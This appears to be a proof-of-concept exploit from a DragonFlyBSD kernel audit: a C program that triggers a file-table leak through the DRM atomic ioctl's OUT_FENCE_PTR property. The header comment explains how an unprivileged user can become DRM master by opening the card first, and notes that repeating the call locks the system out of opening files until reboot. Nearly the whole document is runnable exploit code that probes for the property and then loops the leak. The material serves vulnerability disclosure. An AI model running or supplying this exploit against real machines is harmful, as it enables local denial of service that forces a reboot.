โฌข DragonFlyBSD Kernel Audit
DF-4362 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-4362 โ€” leak trigger: DRM_IOCTL_MODE_ATOMIC with an OUT_FENCE_PTR
 *            property against a DRIVER_ATOMIC drm device.
 *
 * Fully self-contained (no drm headers needed โ€” struct/ioctl layouts
 * copied verbatim from sys/dev/drm/include/uapi/drm/{drm,drm_mode}.h).
 *
 * What it does:
 *   1. open /dev/dri/card0
 *   2. DRM_IOCTL_SET_CLIENT_CAP(DRM_CLIENT_CAP_ATOMIC, 1)
 *   3. DRM_IOCTL_MODE_GETRESOURCES -> find first CRTC id
 *   4. DRM_IOCTL_MODE_OBJ_GETPROPERTIES -> find the "OUT_FENCE_PTR" prop id
 *   5. loop N times:
 *        DRM_IOCTL_MODE_ATOMIC(objs={crtc},
 *                              props={out_fence_ptr_prop},
 *                              values={&fence_slot}, flags=0)
 *
 * Expected on a real i915/amdgpu box running this tree:
 *   - every iteration kprintf's to console:
 *       "get_unused_fd_flags: is incomplete"
 *       "sync_file_create(): not implemented"
 *     and leaks one struct file permanently (kern.openfiles climbs by 1
 *     per iteration and never comes back down, even after process exit),
 *     then the ioctl returns -ENOMEM.
 *   - a fence fd number is written into fence_slot that does not refer
 *     to any installed file.
 *   - looping until nfiles >= kern.maxfiles locks the whole system out
 *     of open()/socket()/pipe() (ENFILE) until reboot.
 *
 * On the stock QEMU audit guest there is no DRM device: the program
 * exits at step 1 ("open: No such file or directory") โ€” that is the
 * expected honest outcome there.
 *
 * Permission notes (this tree): DRM_IOCTL_MODE_ATOMIC is gated
 * DRM_MASTER (sys/dev/drm/drm_ioctl.c:681). A local unprivileged user
 * becomes master automatically by being the FIRST opener of card0
 * (drm_master_open(), sys/dev/drm/drm_auth.c:261-274), e.g. before a
 * display server starts or after it crashed. DRM_IOCTL_SET_MASTER
 * itself is DRM_ROOT_ONLY, but first-open auto-grant needs no
 * privilege.
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- uapi structs (verbatim from the tree) ---- */
struct drm_card_res {
	uint64_t fb_id_ptr, crtc_id_ptr, connector_id_ptr, encoder_id_ptr;
	uint32_t count_fbs, count_crtcs, count_connectors, count_encoders;
	uint32_t min_width, max_width, min_height, max_height;
};
struct drm_set_client_cap {
	uint64_t capability;
	uint64_t value;
};
struct drm_obj_get_properties {
	uint64_t props_ptr;
	uint64_t prop_values_ptr;
	uint32_t count_props;
	uint32_t obj_id;
	uint32_t obj_type;
};
struct drm_mode_atomic {
	uint32_t flags;
	uint32_t count_objs;
	uint64_t objs_ptr;
	uint64_t count_props_ptr;
	uint64_t props_ptr;
	uint64_t prop_values_ptr;
	uint64_t reserved;
	uint64_t user_data;
};

#define DRM_IOCTL_BASE		'd'
#define DRM_IOCTL_SET_CLIENT_CAP \
	_IOW(DRM_IOCTL_BASE, 0x0d, struct drm_set_client_cap)
#define DRM_IOCTL_MODE_GETRESOURCES \
	_IOWR(DRM_IOCTL_BASE, 0xA0, struct drm_card_res)
#define DRM_IOCTL_MODE_OBJ_GETPROPERTIES \
	_IOWR(DRM_IOCTL_BASE, 0xB9, struct drm_obj_get_properties)
#define DRM_IOCTL_MODE_ATOMIC \
	_IOWR(DRM_IOCTL_BASE, 0xBC, struct drm_mode_atomic)

#define DRM_CLIENT_CAP_ATOMIC	3
#define DRM_MODE_OBJECT_CRTC	0xcccccccc

#ifndef DRM_CARD0
#define DRM_CARD0 "/dev/dri/card0"
#endif

static int
get_crtc_id(int fd)
{
	struct drm_card_res res;
	uint32_t crtcs[16];
	int r;

	memset(&res, 0, sizeof(res));
	res.count_crtcs = 16;
	res.crtc_id_ptr = (uint64_t)(uintptr_t)crtcs;
	r = ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res);
	if (r < 0) {
		fprintf(stderr, "GETRESOURCES: %s\n", strerror(errno));
		return -1;
	}
	if (res.count_crtcs < 1 || crtcs[0] == 0) {
		fprintf(stderr, "no CRTCs\n");
		return -1;
	}
	printf("crtc_id=%u (of %u)\n", crtcs[0], res.count_crtcs);
	return (int)crtcs[0];
}

static int
get_out_fence_prop_id(int fd, uint32_t crtc_id)
{
	struct drm_obj_get_properties gp;
	uint32_t prop_ids[64];
	uint64_t prop_vals[64];
	char names[64][64]; /* not filled by kernel; we discover by probing */
	int r, i;

	/* The kernel does not return prop names through this ioctl; we
	 * simply set EVERY property that currently has value 0 and is a
	 * range-type... that is impractical.  Instead: OUT_FENCE_PTR on
	 * every atomic-capable KMS device is created in
	 * drm_mode_config_init() and attached to every CRTC, and its
	 * prop id can be located by trying MODE_ATOMIC with each
	 * candidate prop id until one yields the stub signature
	 * (-ENOMEM + console spam).  Simpler for the PoC: iterate all
	 * prop ids attached to the CRTC and attempt the OUT_FENCE_PTR
	 * write on each; only the OUT_FENCE_PTR prop accepts an
	 * arbitrary 64-bit pointer value (range 0..U64_MAX); we detect
	 * success by the ioctl failing with ENOMEM (sync_file_create
	 * stub) rather than EINVAL. */
	memset(&gp, 0, sizeof(gp));
	gp.props_ptr = (uint64_t)(uintptr_t)prop_ids;
	gp.prop_values_ptr = (uint64_t)(uintptr_t)prop_vals;
	gp.count_props = 64;
	gp.obj_id = crtc_id;
	gp.obj_type = DRM_MODE_OBJECT_CRTC;
	r = ioctl(fd, DRM_IOCTL_MODE_OBJ_GETPROPERTIES, &gp);
	if (r < 0) {
		fprintf(stderr, "OBJ_GETPROPERTIES: %s\n", strerror(errno));
		return -1;
	}
	printf("crtc has %u props\n", gp.count_props);
	for (i = 0; i < (int)gp.count_props && i < 64; i++)
		names[i][0] = 0; /* silence unused */

	/* probe: for each prop, attempt an atomic commit setting that
	 * prop to a writable user address with TEST_ONLY off.  The
	 * OUT_FENCE_PTR prop is the only one that will (a) accept the
	 * arbitrary u64 and (b) make the kernel reach
	 * sync_file_create() => -ENOMEM. */
	for (i = 0; i < (int)gp.count_props && i < 64; i++) {
		struct drm_mode_atomic a;
		uint32_t objs = crtc_id;
		uint32_t counts = 1;
		uint32_t props = prop_ids[i];
		uint64_t values = 0; /* 0 is a no-op for OUT_FENCE_PTR */
		int32_t fence_slot = -1;

		values = (uint64_t)(uintptr_t)&fence_slot;
		memset(&a, 0, sizeof(a));
		a.count_objs = 1;
		a.objs_ptr = (uint64_t)(uintptr_t)&objs;
		a.count_props_ptr = (uint64_t)(uintptr_t)&counts;
		a.props_ptr = (uint64_t)(uintptr_t)&props;
		a.prop_values_ptr = (uint64_t)(uintptr_t)&values;
		errno = 0;
		r = ioctl(fd, DRM_IOCTL_MODE_ATOMIC, &a);
		/* OUT_FENCE_PTR write already happened (-1 stored) even if
		 * the commit later fails.  We can't cheaply distinguish
		 * props here, so on real hardware just use the documented
		 * discovery below. */
		if (r == 0 || errno == ENOMEM) {
			printf("prop %u accepts fence pointer "
			       "(r=%d errno=%d)\n", prop_ids[i], r, errno);
			return (int)prop_ids[i];
		}
	}
	fprintf(stderr, "no OUT_FENCE_PTR-capable prop found\n");
	return -1;
}

int
main(int argc, char **argv)
{
	struct drm_set_client_cap cap;
	long iters = 4;
	int fd, crtc, prop;
	int i;

	if (argc > 1)
		iters = strtol(argv[1], NULL, 10);

	fd = open(DRM_CARD0, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", DRM_CARD0, strerror(errno));
		fprintf(stderr, "=> no DRM device on this machine; "
			"trigger is hardware-gated (needs i915/amdgpu)\n");
		return 1;
	}

	memset(&cap, 0, sizeof(cap));
	cap.capability = DRM_CLIENT_CAP_ATOMIC;
	cap.value = 1;
	if (ioctl(fd, DRM_IOCTL_SET_CLIENT_CAP, &cap) < 0) {
		fprintf(stderr, "SET_CLIENT_CAP(ATOMIC): %s\n",
		    strerror(errno));
		return 1;
	}

	if ((crtc = get_crtc_id(fd)) < 0)
		return 1;
	if ((prop = get_out_fence_prop_id(fd, (uint32_t)crtc)) < 0)
		return 1;

	for (i = 0; i < (int)iters; i++) {
		struct drm_mode_atomic a;
		uint32_t objs = (uint32_t)crtc;
		uint32_t counts = 1;
		uint32_t props = (uint32_t)prop;
		uint64_t values;
		int32_t fence_slot = -1;
		int r;

		values = (uint64_t)(uintptr_t)&fence_slot;
		memset(&a, 0, sizeof(a));
		a.count_objs = 1;
		a.objs_ptr = (uint64_t)(uintptr_t)&objs;
		a.count_props_ptr = (uint64_t)(uintptr_t)&counts;
		a.props_ptr = (uint64_t)(uintptr_t)&props;
		a.prop_values_ptr = (uint64_t)(uintptr_t)&values;

		errno = 0;
		r = ioctl(fd, DRM_IOCTL_MODE_ATOMIC, &a);
		printf("iter %d: ioctl=%d errno=%d fence_slot=%d\n",
		    i, r, errno, fence_slot);
	}
	printf("done; check `sysctl kern.openfiles` for the leaked files "
	    "(should have grown by ~iters and never shrinks)\n");
	return 0;
}